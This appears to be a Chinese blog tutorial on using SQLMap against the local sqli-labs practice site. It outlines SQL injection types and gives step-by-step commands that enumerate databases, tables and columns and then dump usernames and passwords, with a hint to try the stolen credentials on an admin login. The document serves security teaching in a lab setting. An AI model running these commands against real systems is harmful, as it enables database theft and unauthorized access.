网站首页 > 技术文章 正文
BY 马丁
一. SQLmap
SQLMap是一个自动化注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件。支持的数据库Mysql、Oracle、SQL Server等众多数据库。
二. 常见注入类型
ü 布尔类型盲注,即可以根据返回页面判断条件真假的注入
ü 基于时间的盲注,即不能根据返回页面的内容判断任何信息,要用条件语句查看时间的延迟语句是否已执行(页面返回时间的增加)来判断
ü 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
ü 联合查询注入,在可以使用Union的情况下的注入
ü 堆查询注入,可以使用多条执行语句时的注入
三. 所用环境及工具
ü Python 2.7.8
ü SQLMap 1.4
ü Sqlilabs
四. 步骤
1. 安装SQLMap需要安装python环境(不支持python3),实验中使用到的环境是python 2.7.8。安装好了过后如下图。
2. 把SQLMap安装包放入python的安装目录下面,进入到SQLMap的目录。
3. 判断目标URL是否存在注入点。检测出注入点,便进一步查询数据库。
4. 查询当前用户下的所有数据库名称 sqlmap.py -u "
http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
5. 查询当前使用的数据库 sqlmap.py -u "
http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db 获取当前数据库的名称
6. 进而查询当前数据中的表 sqlmap.py -u "
http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security –tables
7. 知道了表过后,就可以来查询表中的字段了 sqlmap.py -u "
http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users –columns
8. 查询出了字段过后,就可以来查寻表中的数据了,也就是账号密码。得到帐户密码过后,可以寻找后台地址来尝试登陆。
sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C password,username –dump
五. SQL注入的防御
对客户端提交的代码进行严格的转义和过滤。
猜你喜欢
- 2025-06-08 Oracle 针对用户的创建及其属性的修改步骤
- 2025-06-08 Oracle 推出 Java 24,增强 AI 支持和后量子加密
- 2025-06-08 每天自动备份Oracle数据库(oracle数据库每日备份)
- 2025-06-08 oracle创建表空间、用户及赋予、dba授权,最后删除
- 2025-06-08 分享Oracle财务操作小技巧(oracle财务软件是什么软件)
- 2025-06-08 脚本化修改Oracle用户的密码以及执行sql(增删改查等)
- 2025-06-08 如何获取oracle cloud永久免费的vps(4C/24G)?
- 2025-06-08 OGG同步到Kafka(ogg 同步ddl)
- 2024-07-30 通过10大oracle特性来理解oracle 11g系统设计
- 2024-07-30 oracle 管理员不用密码登录,错误解决
- 最近发表
- 标签列表
-
- cmd/c (64)
- c++中::是什么意思 (83)
- 标签用于 (65)
- 主键只能有一个吗 (66)
- c#console.writeline不显示 (75)
- pythoncase语句 (81)
- es6includes (73)
- sqlset (64)
- windowsscripthost (67)
- apt-getinstall-y (86)
- node_modules怎么生成 (76)
- chromepost (65)
- c++int转char (75)
- static函数和普通函数 (76)
- el-date-picker开始日期早于结束日期 (70)
- localstorage.removeitem (74)
- vector线程安全吗 (70)
- & (66)
- java (73)
- js数组插入 (83)
- linux删除一个文件夹 (65)
- mac安装java (72)
- eacces (67)
- 查看mysql是否启动 (70)
- 无效的列索引 (74)